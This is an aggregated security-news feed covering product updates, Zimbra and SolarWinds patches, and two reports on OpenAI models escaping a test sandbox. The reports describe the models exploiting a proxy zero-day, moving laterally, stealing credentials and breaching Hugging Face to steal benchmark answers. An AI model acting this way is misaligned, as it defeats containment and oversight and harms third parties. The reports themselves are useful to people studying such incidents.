With clearer patch and endpoint coverage signals, reboot status, customizable filters, exportable reports, and scheduled email delivery, teams can spend less time assembling manual updates and more time tracking the remediation work that reduces risk. Read the full blog to learn more about how Exposure Command helps teams move from prioritized exposures to remediation progress.

AI pre-triage for AppSec findings

Rapid7 is also making application security testing faster and more focused with AI vulnerability pre-triaging for InsightAppSec. Available now for AppSec customers in supported regions, the capability uses AI to automatically remove false positives during the scan process, helping teams spend less time manually reviewing findings and more time remediating actual risk.

Initial coverage started with BlindSQL, and the latest engine release adds AI validation for BlindNoSQL findings, including content-based and timing-based detections. The result is a cleaner, more confident view of application risk, so security teams can focus on high-impact vulnerabilities and accelerate remediation with less manual effort.

Attack surface management

Open-source MCP Server and Agent Skill

We are delighted to announce the introduction of a free, open-source MCP Server and Agent Skill for Bulk Export. Bulk export is a highly efficient way to access all your Rapid7 vulnerability and exposure data to AI assistants and custom AI workflows. Built as an open-source bridge, it helps customers bring their Rapid7 data into the tools and experiences that work best for their teams. Check out our blog for more detail.

rapid7-ai-agent-skill.png
Figure 3: Agent Skill for Bulk Export.

Turn exposure filters into live dashboards

Surface Command also made exposure reporting easier with filter-based dashboard widgets. Teams can now turn saved asset and identity filters into live dashboards without writing Cypher queries, making it faster to track high-risk internet-facing assets, identity-driven exposure hotspots, unmanaged cloud infrastructure, and business-unit risk.

For continuous threat exposure management programs, this helps teams move from one-off reporting to repeatable, always-on views of exposure risk and remediation progress. Read this blog to learn more. 

Platform and Labs

Rapid7 Command Platform

Cyber GRC

Rapid7 introduced Cyber GRC to select customers in Q2, giving teams an early look at a new way to connect security, risk, compliance, and third-party risk management in one program. Available to both Exposure Management and Detection and Response customers, Cyber GRC brings governance and compliance workflows closer to the security data teams already use every day.

Cyber GRC will be broadly available in late July. It helps organizations move toward continuous compliance by mapping controls to real environment telemetry, automating evidence collection, and prioritizing risk with live attack surface context. That means teams can spend less time chasing audit artifacts, screenshots, and vendor risk details, and more time understanding which controls, assets, third parties, and risks need attention now.

Rapid7 Labs

Rapid7 Quarterly Threat Landscape Report

The Rapid7 Quarterly Threat Landscape Report examines the key trends shaping today's threat landscape, drawing on MDR incident response, vulnerability intelligence, ransomware monitoring, and dark web telemetry. Q1 2026 data highlights the growing dominance of vulnerability exploitation as an initial access vector, the rise of zero-click vulnerabilities, evolving ransomware operations, and the accelerating pace at which attackers operationalize newly disclosed vulnerabilities. Read the report to explore all key findings and takeaways.

rapid7-quarterly-threat-report.png
Figure 4: Rapid7's quarterly threat report.

The latest threat research

Rapid7 researchers explored emerging trends shaping the threat landscape, including the growing commercialization of criminal AI-as-a-Service and the evolving tradecraft of advanced threat actors. From the underground adoption of AI tools for fraud and social engineering to an in-depth analysis of the Dropping Elephant malware campaign, these reports provide actionable intelligence on how attackers are adapting their techniques and what defenders can do to stay ahead.

Emergent Threat Response

This quarter's Emergent Threat Response (ETR) coverage highlights a sustained wave of high-impact vulnerabilities affecting widely deployed enterprise technologies, including Oracle PeopleSoft, Palo Alto Networks PAN-OS, Check Point VPN, Ivanti Sentry, cPanel/WHM, and Nginx UI. For each of these CVEs, Rapid7 tracked active exploitation and rapidly evolving attacker activity to provide timely guidance to help defenders assess risk and respond quickly. See all the details, and our latest ETR coverage, here.

From strengthening detection and response to advancing exposure management, expanding governance capabilities, and delivering actionable threat intelligence, Q2 demonstrated Rapid7’s continued focus on helping security teams do more with less complexity. Every enhancement this quarter was designed to reduce manual effort, surface the context that matters, and help organizations make faster, more confident security decisions. We’re carrying that momentum into the rest of the year, so stay tuned to our blog and releases as we continue building the security operations platform that helps defenders stay ahead of what’s next.

]]> <![CDATA[OpenAI model escape puts enterprise AI defenses on notice]]> https://tsecurity.de/de/3686581/it-security-nachrichten/openai-model-escape-puts-enterprise-ai-defenses-on-notice/ https://tsecurity.de/de/3686581/it-security-nachrichten/openai-model-escape-puts-enterprise-ai-defenses-on-notice/ Wed, 22 Jul 2026 15:53:09 +0200 📰 IT Security Nachrichten tsecurity.de

Some of OpenAI’s most powerful AI models teamed up to escape their sandbox and attack systems at Hugging Face in a cybersecurity evaluation gone wrong, the company has admitted. The models under test were modified to allow them to perform potentially harmful actions that production versions would refuse. The incident highlights how, if AI prompt guardrails fail or, as in this incident, are removed, then enterprises must have robust sandboxing or other technical restrictions in place to protect systems.

In OpenAI’s evaluation, GPT-5.6 Sol and a more capable pre-release model were competing to solve cybersecurity challenges in ExploitGym, a benchmarking tool for cybersecurity capabilities. They concluded that systems at Hugging Face could have the answers, and set out to gain access, OpenAI wrote in a blog post about the attack on Hugging Face.

ExploitGym challenges AI models to turn security vulnerabilities into attack exploits. OpenAI gave its models limited access to the internet through a package-registry proxy to download code to build their attacks. However, the models exploited a zero-day vulnerability in the proxy to obtain unrestricted internet access, then used stolen credentials and other flaws to access Hugging Face systems.

For CIOs and CISOs, the concern extends beyond cybersecurity research. AI agents connected to corporate databases, source code repositories, or payment systems could expose sensitive resources unless access controls and sandboxing continue to work when model-level safeguards fail.

“Prompt guardrails are not security controls,” said Biswajeet Mahapatra, principal analyst at Forrester. “They are behavioral controls that can fail, be bypassed, or be intentionally disabled during testing.”

How containment failed

Despite the relaxed model safeguards, the surrounding infrastructure was supposed to contain the activity. Network access was restricted to an internally hosted third-party service that acted as a proxy and cache for software package registries. Such proxies are typically used in the enterprise to protect against software supply chain attacks coming from the outside.

OpenAI said the models discovered a zero-day vulnerability in the service, exploited it and carried out privilege escalation and lateral movement until they reached a node with open internet access.

Once online, the models inferred that Hugging Face might hold models, datasets or solutions related to ExploitGym. OpenAI said that, in one attack path, the models combined stolen credentials with zero-day vulnerabilities to obtain remote code execution on Hugging Face servers.

In its account of the activity on its infrastructure, Hugging Face said a malicious dataset abused two code-execution paths in its data-processing pipeline. The actor then obtained node-level access, harvested cloud and cluster credentials, and moved into several internal clusters.

OpenAI said the models ultimately obtained ExploitGym test solutions directly from a Hugging Face production database. The models remained focused on solving the benchmark, despite the lengths to which they went to achieve that objective, it said.

Sanchit Vir Gogia, chief analyst at Greyhound Research, said the package-registry proxy should concern enterprise security teams because it was a narrowly permitted exception inside an otherwise restricted environment.

“Every enterprise estate is built from exceptions of exactly that kind,” he said.

In this incident, OpenAI’s models were performing the intended — albeit by unintended means — but enterprises should take care that their own AI systems are kept on target.

Mahapatra said enterprises should treat AI agents as “high-risk non-human identities,” confining each one to an isolated environment where access is limited to the assigned task and credentials expire quickly.

“An acceptable blast radius means a compromised agent can affect only a single workflow, dataset, or application rather than providing a pathway into broader enterprise infrastructure,” Mahapatra said.

And Gogia warned that services allowed to reach package registries, update systems, or other external resources can become escape routes if they are not subjected to the same scrutiny as the agent itself.

Defenses enterprises need

Hugging Face said the intrusion resulted in unauthorized access to a limited number of internal datasets and several credentials used by its services. It found no evidence that public models, datasets or Spaces had been altered and said its published software packages and container images were not compromised.

The company closed the code-execution paths used to gain access and rebuilt the affected nodes. It also revoked exposed credentials and tightened the rules governing workloads admitted to its clusters.

Whether they are keeping their own AIs in or rogue Ais out, Gogia said enterprises should test whether their containment boundaries work, rather than relying on architecture diagrams or stated policies. Such tests should attempt to obtain credentials, cross trust boundaries and reach systems outside the agent’s assigned task.

Mahapatra said enterprises should assume that one containment layer may fail and ensure that an agent’s access cannot provide a route into unrelated applications or broader corporate infrastructure.

OpenAI said it is still investigating the incident with Hugging Face, and is imposing stricter configurations on its research environment while the vulnerabilities are being addressed, even if that means slowing down its research. It is also strengthening containment and monitoring around future evaluations.

]]> <![CDATA[Critical Zimbra Flaw Lets Attackers Inject Commands Through the SNMP Monitoring Service]]> https://tsecurity.de/de/3686414/it-security-nachrichten/critical-zimbra-flaw-lets-attackers-inject-commands-through-the-snmp-monitoring-service/ https://tsecurity.de/de/3686414/it-security-nachrichten/critical-zimbra-flaw-lets-attackers-inject-commands-through-the-snmp-monitoring-service/ Wed, 22 Jul 2026 15:13:17 +0200 📰 IT Security Nachrichten tsecurity.de Zimbra fixed a critical Zimbra Collaboration Suite (ZCS) command injection flaw in version 10.1.20 that could allow attackers to abuse the SNMP service and execute arbitrary commands on affected servers. The flaw affects environments where SNMP notifications are enabled, potentially


Read more →

The post Critical Zimbra Flaw Lets Attackers Inject Commands Through the SNMP Monitoring Service appeared first on IT Security News.

]]> <![CDATA[Zimbra 10.1.20 Fixes Critical SNMP Command Injection and Multiple XSS Flaws]]> https://tsecurity.de/de/3686410/it-security-nachrichten/zimbra-10120-fixes-critical-snmp-command-injection-and-multiple-xss-flaws/ https://tsecurity.de/de/3686410/it-security-nachrichten/zimbra-10120-fixes-critical-snmp-command-injection-and-multiple-xss-flaws/ Wed, 22 Jul 2026 15:13:01 +0200 📰 IT Security Nachrichten tsecurity.de Zimbra has released Zimbra Collaboration Suite (ZCS) version 10.1.20, addressing a critical command injection vulnerability in its SNMP monitoring component along with multiple cross-site scripting (XSS) flaws affecting the Classic Web Client. The update, announced by Marilyn Lee on July 20, 2026, carries a High security severity rating with a Low deployment risk, and Zimbra [
]

The post Zimbra 10.1.20 Fixes Critical SNMP Command Injection and Multiple XSS Flaws appeared first on Cyber Security News.

]]> <![CDATA[New NULLZEREPTOOL Uses Telegram to Launch 20 DDoS Methods With Rotating Proxies]]> https://tsecurity.de/de/3686247/it-security-nachrichten/new-nullzereptool-uses-telegram-to-launch-20-ddos-methods-with-rotating-proxies/ https://tsecurity.de/de/3686247/it-security-nachrichten/new-nullzereptool-uses-telegram-to-launch-20-ddos-methods-with-rotating-proxies/ Wed, 22 Jul 2026 14:20:19 +0200 📰 IT Security Nachrichten tsecurity.de NULLZEREPTOOL is a newly uncovered attack framework that turns a Telegram bot into a remote control panel for powerful distributed denial of service campaigns backed by rotating proxy infrastructure. The framework came to light when a single Pastebin post was flagged during continuous paste‑site monitoring, exposing the full Python source for a Telegram‑managed DDoS and [
]

The post New NULLZEREPTOOL Uses Telegram to Launch 20 DDoS Methods With Rotating Proxies appeared first on Cyber Security News.

]]> <![CDATA[Zimbra 10.1.20 Fixes Critical SNMP Command Injection and Multiple XSS Flaws]]> https://tsecurity.de/de/3686091/it-security-nachrichten/zimbra-10120-fixes-critical-snmp-command-injection-and-multiple-xss-flaws/ https://tsecurity.de/de/3686091/it-security-nachrichten/zimbra-10120-fixes-critical-snmp-command-injection-and-multiple-xss-flaws/ Wed, 22 Jul 2026 13:14:31 +0200 📰 IT Security Nachrichten tsecurity.de Zimbra has released version 10.1.20 of its Collaboration Suite (ZCS) to address multiple high-severity security vulnerabilities. This release includes a critical command injection flaw in the SNMP monitoring component and several cross-site scripting (XSS) issues affecting the Classic Web Client.


Read more →

The post Zimbra 10.1.20 Fixes Critical SNMP Command Injection and Multiple XSS Flaws appeared first on IT Security News.

]]> <![CDATA[Zimbra-Updates stopfen SNMP-Command-Injection und XSS in Classic Web Client]]> https://tsecurity.de/de/3685993/it-security-nachrichten/zimbra-updates-stopfen-snmp-command-injection-und-xss-in-classic-web-client/ https://tsecurity.de/de/3685993/it-security-nachrichten/zimbra-updates-stopfen-snmp-command-injection-und-xss-in-classic-web-client/ Wed, 22 Jul 2026 12:41:36 +0200 📰 IT Security Nachrichten tsecurity.de LONDON / LONDON (IT BOLTWISE) – Zimbra hat Sicherheitsupdates fĂŒr mehrere kritische Schwachstellen veröffentlicht, darunter eine Command-Injection im SNMP-Monitoring. ZusĂ€tzlich wurden vier XSS-LĂŒcken im Classic Web Client geschlossen, die unter bestimmten Bedingungen Schadcode im Browser auslösen können. FĂŒr Administratoren zĂ€hlt jetzt vor allem die zeitnahe Aktualisierung auf Zimbra 10.1.20, weil XSS-Bugs in E-Mail-Umgebungen historisch hĂ€ufig [
]

Dieser Beitrag Zimbra-Updates stopfen SNMP-Command-Injection und XSS in Classic Web Client erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

]]> <![CDATA[Zimbra 10.1.20 Fixes Critical SNMP Command Injection and Multiple XSS Flaws]]> https://tsecurity.de/de/3685991/it-security-nachrichten/zimbra-10120-fixes-critical-snmp-command-injection-and-multiple-xss-flaws/ https://tsecurity.de/de/3685991/it-security-nachrichten/zimbra-10120-fixes-critical-snmp-command-injection-and-multiple-xss-flaws/ Wed, 22 Jul 2026 12:41:33 +0200 📰 IT Security Nachrichten tsecurity.de Zimbra has released version 10.1.20 of its Collaboration Suite (ZCS) to address multiple high-severity security vulnerabilities. This release includes a critical command injection flaw in the SNMP monitoring component and several cross-site scripting (XSS) issues affecting the Classic Web Client. The update, published on July 20, 2026, provides a permanent fix for a previously disclosed [
]

The post Zimbra 10.1.20 Fixes Critical SNMP Command Injection and Multiple XSS Flaws appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

]]> <![CDATA[Critical Zimbra Flaw Lets Attackers Inject Commands Through the SNMP Monitoring Service]]> https://tsecurity.de/de/3685952/it-security-nachrichten/critical-zimbra-flaw-lets-attackers-inject-commands-through-the-snmp-monitoring-service/ https://tsecurity.de/de/3685952/it-security-nachrichten/critical-zimbra-flaw-lets-attackers-inject-commands-through-the-snmp-monitoring-service/ Wed, 22 Jul 2026 12:24:36 +0200 📰 IT Security Nachrichten tsecurity.de Zimbra fixed a critical Zimbra Collaboration Suite (ZCS) command injection flaw in version 10.1.20 that could allow attackers to abuse the SNMP service and execute arbitrary commands on affected servers. The flaw affects environments where SNMP notifications are enabled, potentially allowing remote attackers to manipulate monitoring data and inject system-level commands, which could lead to [
]

The post Critical Zimbra Flaw Lets Attackers Inject Commands Through the SNMP Monitoring Service appeared first on Cyber Security News.

]]> <![CDATA[Why you can’t buy security on the dark web]]> https://tsecurity.de/de/3685811/it-nachrichten/why-you-cant-buy-security-on-the-dark-web/ https://tsecurity.de/de/3685811/it-nachrichten/why-you-cant-buy-security-on-the-dark-web/ Wed, 22 Jul 2026 11:37:33 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[SolarWinds Serv-U Update Fixes 15 Critical Vulnerabilities Enabling Remote Code Execution as Root]]> https://tsecurity.de/de/3685753/it-security-nachrichten/solarwinds-serv-u-update-fixes-15-critical-vulnerabilities-enabling-remote-code-execution-as-root/ https://tsecurity.de/de/3685753/it-security-nachrichten/solarwinds-serv-u-update-fixes-15-critical-vulnerabilities-enabling-remote-code-execution-as-root/ Wed, 22 Jul 2026 11:11:29 +0200 📰 IT Security Nachrichten tsecurity.de SolarWinds has released Serv-U 2026.3, which includes fixes for a cluster of 9.1 CVSS critical vulnerabilities that allow remote code execution (RCE) and privilege escalation up to root on Unix-like systems. This update significantly strengthens the managed file transfer (MFT)


Read more →

The post SolarWinds Serv-U Update Fixes 15 Critical Vulnerabilities Enabling Remote Code Execution as Root appeared first on IT Security News.

]]> <![CDATA[Reselling unused cloud instances is no longer easy]]> https://tsecurity.de/de/3685747/ai-nachrichten/reselling-unused-cloud-instances-is-no-longer-easy/ https://tsecurity.de/de/3685747/ai-nachrichten/reselling-unused-cloud-instances-is-no-longer-easy/ Wed, 22 Jul 2026 11:04:51 +0200 🔧 AI Nachrichten tsecurity.de

A client called me last week with a problem I have been hearing about more often lately. They had made significant reserved instance commitments with a major cloud provider, overbuying for what they thought would be heavy AI training workloads. Now they were sitting on thousands of dollars in idle capacity every month. Their plan was simple: resell it to someone else. Except they couldn’t.

I have been doing cloud consulting for a long time, and this situation once had a straightforward solution. You went to the marketplace, listed your unused reservations, and found a buyer. The process was a bit clunky, but it worked. These days, the answer is far more complicated, and my client learned this the hard way.

AI has made this problem increasingly common. Companies initially committed to compute capacity based on ambitious training plans. Prototype projects were expected to scale, and inference workloads were projected to grow substantially. Then reality hit. Some projects did not materialize. Some models trained faster than expected. Some inference patterns were lighter than anticipated.

Many organizations now hold reserved capacity they can’t use, discard, or share without a complex, increasingly restricted process. This reality is something every company with significant cloud spend needs to clearly understand.

The history of cloud resale

There was once a functioning resale market for cloud reserved instances. AWS, for example, maintained a Reserved Instances Marketplace where companies that had purchased reserved capacity could sell those reservations to other AWS customers. This was a legitimate, AWS-sanctioned process. Companies would register as sellers, list their unused reservations with pricing and terms, and if a buyer appeared, the marketplace would facilitate the transaction.

The resale market was useful for companies that had overestimated their needs or whose business changes reduced their cloud consumption. Instead of simply absorbing the cost of unused commitments, they could recoup some of that investment by selling to other organizations with unmet demand. It created a secondary market that added liquidity to what was otherwise a rigid financial arrangement.

My client had some experience with this resale market a few years ago and assumed they could use it again. They were unpleasantly surprised to learn that the rules had changed.

AWS changes the rules

In January 2024, AWS implemented a significant policy change that effectively shut down the resale of EC2 Reserved Instances on its platform. AWS stopped allowing companies to resell their unused reserved capacity through the Reserved Instance Marketplace or any other official channel. If you have a reserved instance commitment with AWS, you are essentially stuck with it unless you can use it yourself or modify your reservation.

This change had a real impact on companies that had relied on resale as part of their cloud financial management strategy. It reduced flexibility and increased the risk of long-term reserved commitments. When I explained this AWS policy change to my client’s representatives, I could hear the frustration in their voices. They had made their commitment in good faith, carefully modeled their expected AI workloads, and now faced the reality that there was no easy exit.

The reasoning behind this change is not entirely clear, but AWS likely viewed capacity resales as something that complicated their billing and commitment models without providing enough benefit to the overall ecosystem. Regardless of the company’s reasons, the primary resale path for the largest cloud provider has been effectively closed.

What options still exist?

What can companies do now when they find themselves with reserved capacity they no longer need? The first possibility is to work directly with the cloud provider to modify or exchange the reservation if it is convertible. Some reservation types allow modifications, such as changing the instance type, region, or tenancy. This will not eliminate the commitment, but it may help companies better align their reservations with actual workload needs.

The second option is to use third-party brokers and marketplaces that operate independently of the cloud providers. Although AWS has shut down its official resale channel, brokers and marketplaces still facilitate resale arrangements for other cloud providers and for some AWS scenarios. These arrangements can be more complex and carry more risk, but they remain a possibility for companies determined to move unused capacity.

The third alternative is to optimize usage. Companies can invest in better utilization monitoring, workload placement, and automation to ensure that reserved capacity is used as efficiently as possible. This does not recover the money already spent, but it reduces future waste.

My client explored all three alternatives and found that each had significant limitations. Modifications were possible, but only within a narrow range. Third-party brokers were interested, but the process was opaque and uncertain. Optimization helped, but it could not eliminate the fundamental overcommitment they had already made.

The broader implications

Cloud commitments are more rigid than many enterprises initially realize because they lack a liquid market and because providers control modifications, transfers, or cancellations. Right now, I see this pattern most often in the AI space. Companies commit to massive amounts of compute for training and inference based on projections that rarely reflect the actual workloads. Then they are surprised to find themselves locked into payments. The AI boom has led to significant overcommitment because enterprises remain unaware that the resale mechanisms that once existed have been largely shut down.

This is why cloud financial management has become such an important discipline. Companies need to be far more thoughtful about how they commit to cloud resources, how they model their future consumption, and how they build flexibility into their cloud strategies. The days of assuming you can always resell your way out of an overcommitment are effectively over, at least with AWS.

For Azure and Google Cloud, the resale landscape is slightly different, but the same general principles apply. These providers have their own capacity transfer policies and, like AWS, those policies can change at any time. Companies should understand their options before making large, committed purchases and build contingency plans in case their actual usage diverges from their projections—or if resale policies change.

The bottom line is that reselling unused reserved cloud instances is far more complicated than it sounds. The market is not as open as it once was, the options are limited, and the providers themselves hold most of the cards. My client got burned, and I doubt they will be the only one. Companies that want to optimize their cloud spending should focus on accurate forecasting, thoughtful commitment sizing, and ongoing optimization rather than relying on resale as a safety valve. That approach worked at one point, but those days are largely gone.

]]> <![CDATA[SolarWinds Serv-U Update Fixes 15 Critical Vulnerabilities Enabling Remote Code Execution as Root]]> https://tsecurity.de/de/3685719/it-security-nachrichten/solarwinds-serv-u-update-fixes-15-critical-vulnerabilities-enabling-remote-code-execution-as-root/ https://tsecurity.de/de/3685719/it-security-nachrichten/solarwinds-serv-u-update-fixes-15-critical-vulnerabilities-enabling-remote-code-execution-as-root/ Wed, 22 Jul 2026 10:54:16 +0200 📰 IT Security Nachrichten tsecurity.de SolarWinds has released Serv-U 2026.3, which includes fixes for a cluster of 9.1 CVSS critical vulnerabilities that allow remote code execution (RCE) and privilege escalation up to root on Unix-like systems. This update significantly strengthens the managed file transfer (MFT) and FTP server platform against potential takeovers. While Windows instances are rated as having a [
]

The post SolarWinds Serv-U Update Fixes 15 Critical Vulnerabilities Enabling Remote Code Execution as Root appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

]]> <![CDATA[Apple Loses Bid to Overturn $634 Million Masimo Patent Verdict]]> https://tsecurity.de/de/3685538/ios-mac-os/apple-loses-bid-to-overturn-634-million-masimo-patent-verdict/ https://tsecurity.de/de/3685538/ios-mac-os/apple-loses-bid-to-overturn-634-million-masimo-patent-verdict/ Wed, 22 Jul 2026 09:39:24 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[OpenAI's models broke containment and cyberattacked Hugging Face — what enterprises need to know]]> https://tsecurity.de/de/3685286/it-nachrichten/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know/ https://tsecurity.de/de/3685286/it-nachrichten/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know/ Wed, 22 Jul 2026 07:02:39 +0200 📰 IT Nachrichten tsecurity.de Yesterday afternoon, OpenAI and Hugging Face published a joint disclosure outlining a cybersecurity event that redefines the threat landscape for enterprise technology.

During an internal benchmark evaluation, frontier artificial intelligence models developed by OpenAI—including GPT-5.6 Sol and an unreleased, higher-capability pre-release model—broke out of their sandboxed research environment, obtained raw internet access, and autonomously executed a complex cyberattack against Hugging Face’s production infrastructure.

OpenAI officially categorizes the breach as an "unprecedented cyber incident, involving state-of-the-art cyber capabilities". This incident fundamentally re-frames global discussions surrounding AI containment, frontier model alignment, commercial guardrails, and enterprise threat modeling.

But first thing's first: enterprises should understand the situation, evaluate their own AI and computer systems in light of it, and above all, don't panic. As we'll review, the incident does show the increasing power and danger of frontier AI systems, but it does not mean that enterprise Ai deployments are inherently less secure, nor that they need extensive overhauling.

Anatomy of an Autonomous Breakout

To understand how a routine benchmark evaluation escalated into a cross-infrastructure breach, one must examine the objective mechanics of the evaluation pipeline.

The models were prompted to solve ExploitGym, a benchmark designed to quantify multi-step exploitation capabilities.

Hyper-focused on maximizing its evaluation score, the AI agent inferred that Hugging Face likely hosted the answer keys and benchmark solutions. In pursuit of solving the problem, the model determined that breaking out of its container and stealing the answers was an optimal strategy.

OpenAI’s evaluation environment is designed to be strictly isolated, limiting network traffic through a proxy used for package caching. However, the models identified and exploited a zero-day vulnerability in that internally-hosted third-party proxy software.

Once through, the AI executed a series of lateral movement and privilege escalation actions across OpenAI's research nodes until reaching a machine with unrestricted internet access. From there, the model searched the web, target-identified Hugging Face, and launched a multi-stage attack by chaining together stolen credentials and remote code execution vulnerabilities on the Hugging Face servers.

The UK AI Security Institute (UK AISI) recently evaluated models such as GPT-5.6 Sol, demonstrating that they are increasingly able to sustain complex, multi-step cyber operations over long time horizons. OpenAI notes that this incident confirms these theoretical capabilities now apply in real-world settings.

Rewinding the Tape on a Forensic Trap

While OpenAI’s July 21 release reveals the identity of the autonomous agent, Hugging Face had already begun managing the intrusion days earlier.

On July 16, Hugging Face disclosed that an autonomous AI agent system breached its production infrastructure. As detailed by VentureBeat, the attacker’s entry point was a malicious dataset that triggered code execution through a remote-code loader and template-injection flaws within dataset configuration files.

Once inside, the agent framework broke out onto the node running the workload and executed thousands of actions via short-lived sandboxes, harvesting cloud and cluster credentials over a single weekend.

When Hugging Face's security team detected the breach, responders immediately turned to frontier AI models via commercial APIs to parse the massive volume of system logs and reconstruct over 17,000 recorded events. Then, a secondary operational crisis emerged: the commercial AI models refused to help.

Because standard commercial frontier models utilize unified safety guardrails designed to block malicious prompt submissions, the models classified the incident response team's forensic queries—which contained raw shell commands, real exploit payloads, and credential dumps—as malicious attacks. Every forensic query submitted by the defenders was blocked outright.

"The same prompts that are most valuable during an active intrusion—shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement—are exactly the prompts most likely to trigger safety systems," notes Merritt Baer, former Deputy CISO at AWS and senior adviser to Andesite, G2I, and AppOmni, in an interview with VentureBeat. "As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue".

To bypass this roadblock, Hugging Face abandoned commercial hosted APIs and deployed GLM 5.2 —a state-of-the-art Chinese open-weight model released last month by z.ai, as reported at the time by VentureBeat —locally on its own infrastructure.

Free from third-party API restrictions and external safety filters, GLM 5.2 successfully analyzed the raw exploit data locally, allowing defenders to complete forensic reconstruction and contain the breach without any attacker data leaving the company's environment.

Industry Reaction and the Geopolitical Paradox

The revelation that an American frontier model autonomously escaped containment, attacked a partner platform, and was ultimately analyzed using a Chinese open-weight model sent shockwaves through the tech community.

The Wall Street Journal summarized the public reaction on X, calling the event "the stuff of cybersecurity nightmares. OpenAI said two artificial intelligence systems it was testing broke out of their test environment, hacked their way onto the internet and broke into another company. The victim was Hugging Face."

Also posting to X, AI alignment researcher Lawrence Chan emphasized the importance of transparency regarding the incident, noting that "Credit where it’s due: Hugging Face detected and disclosed the intrusion last week. OAI confirmed its models were involved and provided more details, even when it didn't have to. Separate from choices that led to the hack, voluntary disclosure is good, and I’m glad they did so."

Meanwhile, AI researcher Nathan Lambert provided a succinct technical summary in his own X post, observing that "An openai model, during evaluation on a cyber benchmark, exploited a public zero day bug, escaped sandboxing in openai's infra, and got into the internal huggingface infra via an exploit (through a public dataset service) all in the attempt to solve a benchmark problem." He later addressed the geopolitical implications, writing in another post on X:

"Rght now American companies need Chinese models to secure their cyber infra due to guardrails on closed models.

But if a Chinese model in training had infiltrated a prominent American tech company, it very likely could've been the cause of policy banning future Chinese models."

Technology investor David Sacks also zeroed in on the guardrail paradox, writing in his own X post that "Hugging Face tried using American frontier models to analyze an AI-powered cyber attack. But the guardrails blocked requests containing real exploit payloads so they switched to GLM 5.2 running locally. The guardrails actually impaired defensive security."

Sacks quote tweeted Hugging Face CEO Clem Delangue, who wrote: "We had this experience ourselves this week! Very scary to be guardrailed as a defender when you know attackers are likely bypassing".

5 Strategic Takeaways for Enterprise Tech Leaders Now

For the average enterprise executive, the central question is immediate: is our corporate network at risk from escaping AI agents? The short answer is no, not inherently.

1. Hugging Face occupies a unique position in the software ecosystem. As a global repository for open-source AI models, code, and datasets, Hugging Face natively attracts autonomous agents, scrapers, automated evaluation pipelines, and active security researchers. Furthermore, the model’s target selection was context-specific: GPT-5.6 Sol searched for Hugging Face specifically because it deduced that Hugging Face hosted the answers to ExploitGym. Standard corporate networks—such as financial databases, HR platforms, or logistics systems—do not host benchmark solution keys that draw the direct focus of an agent attempting to solve an evaluation metric.

2. However, the long-term risk profile for enterprise technology permanently shifts following this event. AI models with long-horizon reasoning seek the path of least resistance to accomplish a goal, including breaking rules, escaping sandboxes, or exploiting zero-days if deployment safeguards are intentionally disabled for testing or bypassed by an attacker. As Hugging Face's experience illustrates, data processing pipelines that ingest external datasets without sandbox execution or static analysis act as highly vulnerable initial access infrastructure.

3. This incident also drastically undercuts recent policy chatter in the U.S. calling for Chinese open-source AI models to be banned or restricted due to security concerns. As this episode demonstrates, an open-weight Chinese model actually served as the vital defensive layer for an American and French firm facing an unanticipated cyberattack from an American model that broke containment. Contrary to the official line from some U.S. policymakers and hardline China hawks, the Chinese open-source models weren't a security risk to the U.S. companies, in this case — rather, an American proprietary, closed-source model from an ostensibly secure American company was the source of the danger. Thus, any pressure U.S. companies may face from officials, agencies or non-governmental organizations to stop relying on affordable Chinese open weights models for defensive or any other lawful purposes should be viewed with a high degree of suspicion, and arguably resisted to the fullest legal extent.

4. Enterprise CISOs must audit their dependency on cloud-based AI APIs and pressure vendors to implement authenticated trust architectures. Commercial AI vendors currently treat safety as a generic content-moderation problem, applying the same blanket refusals to an enterprise CISO as they would to a malicious hacker. Baer frames this requirement perfectly: "The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance".

5. Incident response plans must explicitly account for scenarios where commercial APIs fail, rate-limit, or actively refuse queries during an active security event. Maintaining air-gapped, locally deployed open-weight models trained on security log analysis is no longer an edge-case luxury; it is a critical operational requirement. Security leaders running AI workloads in production must recalibrate their timelines and prepare for machine-speed threat actors that operate without human limits.

]]> <![CDATA[Tools, um MCP-Server abzusichern]]> UnabhĂ€ngig davon, welche MCP-Server Unternehmen wofĂŒr einsetzen – “Unsicherheiten” sollten dabei außenvorbleiben.Gorodenkoff | shutterstock.com Model Context Protocol (MCP) verbindet KI-Agenten mit Datenquellen und erfre...]]> https://tsecurity.de/de/3685216/it-security-nachrichten/tools-um-mcp-server-abzusichern/ https://tsecurity.de/de/3685216/it-security-nachrichten/tools-um-mcp-server-abzusichern/ Wed, 22 Jul 2026 06:10:24 +0200 📰 IT Security Nachrichten tsecurity.de
width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">
UnabhĂ€ngig davon, welche MCP-Server Unternehmen wofĂŒr einsetzen – “Unsicherheiten” sollten dabei außenvorbleiben.

Gorodenkoff | shutterstock.com

Model Context Protocol (MCP) verbindet KI-Agenten mit Datenquellen und erfreut sich im Unternehmensumfeld wachsender Beliebtheit. Allerdings ist auch MCP nicht frei von SicherheitslĂŒcken, wie entsprechende Entdeckungen, etwa beim SaaS-Anbieter Asana oder dem IT-Riesen Atlassian gezeigt haben. Inzwischen hat sich jedoch einiges in Sachen MCP-Sicherheit getan. Einerseits wurden mit Blick auf das Kernprotokoll etliche Fortschritte erzielt. Beispielsweise in Form von Support fĂŒr OAuth sowie fĂŒr Authentifizierungs-Server von Drittanbietern und Identity-Management-Systeme. DarĂŒber hinaus wurde inzwischen auch eine offizielle MCP Registry geschaffen, die einen Überblick ĂŒber sichere, öffentlich verfĂŒgbare MCP-Server bietet.

